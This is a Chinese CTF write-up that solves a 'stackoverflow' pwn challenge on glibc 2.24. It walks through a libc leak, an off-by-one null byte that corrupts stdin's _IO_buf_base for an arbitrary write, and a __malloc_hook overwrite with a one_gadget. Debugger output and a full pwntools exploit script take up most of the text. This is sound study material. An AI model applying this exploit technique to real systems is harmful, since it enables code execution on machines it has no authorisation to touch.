stackoverflow 复现
1 2 3 4 5 6 ➜ 桌面 ./stackoverflow leave your name, bro:ywx worrier ywx , now begin your challengeWelcome to stackoverflow challenge!!! it is really easy please input the size to trigger stackoverflow:
1 2 3 4 5 6 7 8 9 stackoverflow: ELF 64 -bit LSB executable, x86-64 , version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.24 -9u buntu2_amd64/ld-2.24 .so, for GNU/Linux 2.6 .32 , BuildID[sha1]=8f 56f5f4fdfef79fe7ba6b8b8b042d5ee2b6101b, stripped [*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/stackoverflow' Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000 ) RUNPATH: '/home/yhellow/tools/glibc-all-in-one/libs/2.24-9ubuntu2_amd64/'
64位,dynamically,开了NX,开了canary,Full RELRO
1 GNU C Library (Ubuntu GLIBC 2.24 -9u buntu2.2 ) stable release versi
漏洞分析
1 2 3 4 5 6 7 8 9 10 11 unsigned __int64 leak () { char v1[104 ]; unsigned __int64 canary; canary = __readfsqword(0x28 u); printf ("leave your name, bro:" ); read_s(v1, 80 ); printf ("worrier %s, now begin your challenge" , v1); return __readfsqword(0x28 u) ^ canary; }
这个函数没有溢出,就是让我们来 leak libc_base 的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 __int64 pwn () { int data; int v2; void *v3; unsigned __int64 v4; v4 = __readfsqword(0x28 u); printf ("please input the size to trigger stackoverflow: " ); _isoc99_scanf("%d" , &data); IO_getc(stdin ); v2 = data; while ( data > 3145728 ) { puts ("too much bytes to do stackoverflow." ); printf ("please input the size to trigger stackoverflow: " ); _isoc99_scanf("%d" , &data); IO_getc(stdin ); } v3 = malloc (0x28 uLL); chunk_list = (__int64)malloc (data + 1 ); if ( !chunk_list ) { printf ("Error!" ); exit (0 ); } printf ("padding and ropchain: " ); read_s((void *)chunk_list, data); *(_BYTE *)(chunk_list + v2) = 0 ; return 0LL ; }
末尾字节置空,导致 off-by-one
data 的大小不能超过“3145728”,否则重新输入,但是后面却根据“v2”的大小来进行索引置空,也许有用
入侵思路
先获取 libc_base
1 2 3 4 5 6 7 8 9 10 11 pwndbg> stack 50 00 :0000 │ rsp 0x7fffffffde60 ◂— 0x5000000000 01 :0008 │ 0x7fffffffde68 —▸ 0x7fffffffde90 ◂— 0x3131313131313131 ('11111111' )02 :0010 │ 0x7fffffffde70 ◂— 0x0 03 :0018 │ 0x7fffffffde78 ◂— 0x2711fc69c0f4a500 04 :0020 │ rbp 0x7fffffffde80 —▸ 0x7fffffffdf00 —▸ 0x7fffffffdf20 —▸ 0x400ae0 ◂— 0x41ff894156415741 05 :0028 │ 0x7fffffffde88 —▸ 0x400a34 ◂— 0xbfc6894890458d48 06 :0030 │ rsi 0x7fffffffde90 ◂— 0x3131313131313131 ('11111111' )07 :0038 │ 0x7fffffffde98 —▸ 0x7ffff7a8dd0a (_IO_default_xsgetn+634 ) ◂— 0x554100401f0fffff 08 :0040 │ 0x7fffffffdea0 ◂— 0x0 09 :0048 │ 0x7fffffffdea8 —▸ 0x7ffff7dd2600 (_IO_2_1_stdout_) ◂— 0xfbad2887
1 2 3 4 5 6 7 8 9 10 p.recvuntil('leave your name, bro:' ) p.send('1' *8 ) p.recvuntil('worrier 11111111' ) leak_addr=u64(p.recvuntil(',' )[:-1 ].ljust(8 ,'\x00' )) libc_base=leak_addr-515410 malloc_hook=libc_base+libc.sym['__malloc_hook' ] success('leak_addr >> ' +hex (leak_addr)) success('libc_base >> ' +hex (libc_base)) success('malloc_hook >> ' +hex (malloc_hook))
程序有 off-by-one ,但和传统菜单题还不一样,它没有修改模块或者释放模块,只能进行申请操作,并且申请之后的 chunk 只有一次输入机会,此后便不能控制了
我用已知的知识就只能走到这里了(后面的内容涉及到 stdin_任意写)
libc-2.24 版本有一个特点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 pwndbg> p *stdin $1 = { _flags = -72540021 , _IO_read_ptr = 0x7febfb4bd943 <_IO_2_1_stdin_+131 > "\n" , _IO_read_end = 0x7febfb4bd943 <_IO_2_1_stdin_+131 > "\n" , _IO_read_base = 0x7febfb4bd943 <_IO_2_1_stdin_+131 > "\n" , _IO_write_base = 0x7febfb4bd943 <_IO_2_1_stdin_+131 > "\n" , _IO_write_ptr = 0x7febfb4bd943 <_IO_2_1_stdin_+131 > "\n" , _IO_write_end = 0x7febfb4bd943 <_IO_2_1_stdin_+131 > "\n" , _IO_buf_base = 0x7febfb4bd943 <_IO_2_1_stdin_+131 > "\n" , _IO_buf_end = 0x7febfb4bd944 <_IO_2_1_stdin_+132 > "" , _IO_save_base = 0x0 , _IO_backup_base = 0x0 , _IO_save_end = 0x0 , _markers = 0x0 , _chain = 0x0 , _fileno = 0 , _flags2 = 16 , _old_offset = -1 , _cur_column = 0 , _vtable_offset = 0 '\000' , _shortbuf = "\n" , _lock = 0x7febfb4bf770 <_IO_stdfile_0_lock>, _offset = -1 , _codecvt = 0x0 , _wide_data = 0x7febfb4bd9a0 <_IO_wide_data_0>, _freeres_list = 0x0 , _freeres_buf = 0x0 , __pad5 = 0 , _mode = -1 , _unused2 = '\000' <repeats 19 times> }
1 2 3 4 5 6 7 8 9 10 pwndbg> x/20 xg & *stdin 0x7febfb4bd8c0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007febfb4bd943 0x7febfb4bd8d0 <_IO_2_1_stdin_+16 >: 0x00007febfb4bd943 0x00007febfb4bd943 0x7febfb4bd8e0 <_IO_2_1_stdin_+32 >: 0x00007febfb4bd943 0x00007febfb4bd943 0x7febfb4bd8f0 <_IO_2_1_stdin_+48 >: 0x00007febfb4bd943 0x00007febfb4bd943 0x7febfb4bd900 <_IO_2_1_stdin_+64 >: 0x00007febfb4bd944 0x0000000000000000 0x7febfb4bd910 <_IO_2_1_stdin_+80 >: 0x0000000000000000 0x0000000000000000
stdin
结构体中存储 _IO_buf_end
指针内存地址的末尾刚好为 \x00
,若利用漏洞我们将 _IO_buf_base
末尾写 \x00
,则会使得 _IO_buf_base
指向 stdin
结构体中存储 _IO_buf_end
指针内存地址,即可利用输入缓冲区覆盖 _IO_buf_end
接下来就是思考怎样才能把“\x00”覆盖到 “_IO_buf_base”
1 2 pwndbg> telescope 0x7ff3a17db010 00 :0000 │ 0x7ff3a17db010 ◂— 0x61616161
1 2 3 4 5 6 7 pwndbg> x/20 xg & *stdin 0x7ff3a1d9d8c0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007ff3a1d9d943 0x7ff3a1d9d8d0 <_IO_2_1_stdin_+16 >: 0x00007ff3a1d9d943 0x00007ff3a1d9d943 0x7ff3a1d9d8e0 <_IO_2_1_stdin_+32 >: 0x00007ff3a1d9d943 0x00007ff3a1d9d943 0x7ff3a1d9d8f0 <_IO_2_1_stdin_+48 >: 0x00007ff3a1d9d943 0x00007ff3a1d9d943
1 2 3 4 5 In [7 ]: 0x7ff3a1d9d8f0 +0x8 -0x7ff3a17db010 Out[7 ]: 6039784 In [8 ]: hex(6039784 ) Out[8 ]: '0x5c28e8'
已知了偏移,就可以写入以下代码:
1 2 3 4 5 p.recvuntil('please input the size to trigger stackoverflow: ' ) p.sendline(str (0x5c28e8 )) add(0x200000 ,'aaaa' ) p.recvuntil('please input the size to trigger stackoverflow: ' ) p.send(p64(malloc_hook+8 ))
1 2 3 4 5 6 7 8 pwndbg> x/20 xg & *stdin 0x7f68f09198c0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007f68f0919900 0x7f68f09198d0 <_IO_2_1_stdin_+16 >: 0x00007f68f0919900 0x00007f68f0919900 0x7f68f09198e0 <_IO_2_1_stdin_+32 >: 0x00007f68f0919900 0x00007f68f0919900 0x7f68f09198f0 <_IO_2_1_stdin_+48 >: 0x00007f68f0919900 0x00007f68f0919900 0x7f68f0919900 <_IO_2_1_stdin_+64 >: 0x00007f68f0919944 0x0000000000000000
1 2 3 4 5 6 7 8 pwndbg> x/20 xg & *stdin 0x7f68f09198c0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007f68f0919901 0x7f68f09198d0 <_IO_2_1_stdin_+16 >: 0x00007f68f0919908 0x00007f68f0919900 0x7f68f09198e0 <_IO_2_1_stdin_+32 >: 0x00007f68f0919900 0x00007f68f0919900 0x7f68f09198f0 <_IO_2_1_stdin_+48 >: 0x00007f68f0919900 0x00007f68f0919900 0x7f68f0919900 <_IO_2_1_stdin_+64 >: 0x00007f68f0919af8 0x0000000000000000
当把 _IO_buf_base
覆盖为 _IO_buf_end
后,从键盘中输入的应该存放在缓冲区的数据,就会覆盖 _IO_buf_base
作为新的缓冲区结束地址,在这里写入 malloc_hook + 8 后,从键盘中输入的数据就会覆盖到 malloc_hook + 8 的位置,进而劫持 malloc
1 2 3 4 5 6 7 8 9 10 11 12 13 for i in range (8 ): p.sendline('\x00' ) payload = p64(malloc_hook + 8 ) + p64(0 )*6 payload += p64(0xFFFFFFFFFFFFFFFF ) + p64(0 ) payload += p64(libc_base + 3946352 ) + p64(0xFFFFFFFFFFFFFFFF ) payload += p64(0 ) + p64(libc_base + 3938720 ) payload += p64(0 )*3 + p64(0xFFFFFFFF ) payload += p64(0 )*2 + p64(libc_base + 3924992 ) payload += '\x00' *304 payload += p64(libc_base + 3923648 ) + p64(0 )*2 payload += p64(one_gadget) + p64(realloc) p.sendline(payload)
刚开始我很不能理解这里循环输入“\x00”的作用
每从输入缓冲区读1个字节数据就将 _IO_read_ptr
加1,当 _IO_read_ptr
等于 _IO_read_end
的时候便会调用 read
读数据到 _IO_buf_base
地址中,而写入 malloc_hook + 8 的时候就导致了 _IO_read_ptr
+ 8 ,使得条件不成立:
1 2 3 4 5 6 7 8 pwndbg> x/20 xg & *stdin 0x7f68f09198c0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007f68f0919901 0x7f68f09198d0 <_IO_2_1_stdin_+16 >: 0x00007f68f0919908 0x00007f68f0919900 0x7f68f09198e0 <_IO_2_1_stdin_+32 >: 0x00007f68f0919900 0x00007f68f0919900 0x7f68f09198f0 <_IO_2_1_stdin_+48 >: 0x00007f68f0919900 0x00007f68f0919900 0x7f68f0919900 <_IO_2_1_stdin_+64 >: 0x00007f68f0919af8 0x0000000000000000
而循环输入8次“\x00”后:
1 2 3 4 5 6 7 pwndbg> x/20 xg & *stdin 0x7f0af67948c0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007f0af6794900 0x7f0af67948d0 <_IO_2_1_stdin_+16 >: 0x00007f0af6794900 0x00007f0af6794900 0x7f0af67948e0 <_IO_2_1_stdin_+32 >: 0x00007f0af6794900 0x00007f0af6794900 0x7f0af67948f0 <_IO_2_1_stdin_+48 >: 0x00007f0af6794900 0x00007f0af6794900 0x7f0af6794900 <_IO_2_1_stdin_+64 >: 0x00007f0af6794af8 0x0000000000000000 0x7f0af6794910 <_IO_2_1_stdin_+80 >: 0x0000000000000000 0x0000000000000000
发现 _IO_read_ptr
减回去了,分析源码得知:执行 fread 时会重置这些指针字段为 _IO_buf_base
,但是它有时不仅没有重置,反而会继续增加,而有时又会进行重置,不知道原因
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *p=process('./stackoverflow' ) elf=ELF('./stackoverflow' ) libc=ELF('./libc-2.24.so' ) def add (size,padding ): p.recvuntil('please input the size to trigger stackoverflow: ' ) p.sendline(str (size)) p.recvuntil('padding and ropchain: ' ) p.send(padding) p.recvuntil('leave your name, bro:' ) p.send('1' *8 ) p.recvuntil('worrier 11111111' ) leak_addr=u64(p.recvuntil(',' )[:-1 ].ljust(8 ,'\x00' )) libc_base=leak_addr-515410 malloc_hook=libc_base+libc.sym['__malloc_hook' ] realloc=libc_base+libc.sym['realloc' ] success('leak_addr >> ' +hex (leak_addr)) success('libc_base >> ' +hex (libc_base)) success('malloc_hook >> ' +hex (malloc_hook)) success('realloc >> ' +hex (realloc)) p.recvuntil('please input the size to trigger stackoverflow: ' ) p.sendline(str (0x5c28e8 )) add(0x200000 ,'aaaa' ) p.recvuntil('please input the size to trigger stackoverflow: ' ) p.send(p64(malloc_hook+8 )) one_gadget_list=[0x45526 ,0x4557a ,0xf0a51 ,0xf18cb ] one_gadget=one_gadget_list[3 ]+libc_base for i in range (8 ): p.send('\x00' ) payload = p64(malloc_hook + 8 ) + p64(0 )*6 payload += p64(0xFFFFFFFFFFFFFFFF ) + p64(0 ) payload += p64(libc_base + 3946352 ) + p64(0xFFFFFFFFFFFFFFFF ) payload += p64(0 ) + p64(libc_base + 3938720 ) payload += p64(0 )*3 + p64(0xFFFFFFFF ) payload += p64(0 )*2 + p64(libc_base + 3924992 ) payload += '\x00' *304 payload += p64(libc_base + 3923648 ) + p64(0 )*2 payload += p64(one_gadget) + p64(realloc) p.sendline(payload) p.interactive()
小结:
这道题算是经典的 stdin 任意写了,覆盖 _IO_buf_end 的操作很巧妙但也很巧合(仅限于libc-2.24),通过这题我算是把 stdin 任意写搞明白了,只是最后的操作真的有点迷,希望知道的大佬可以告诉我一下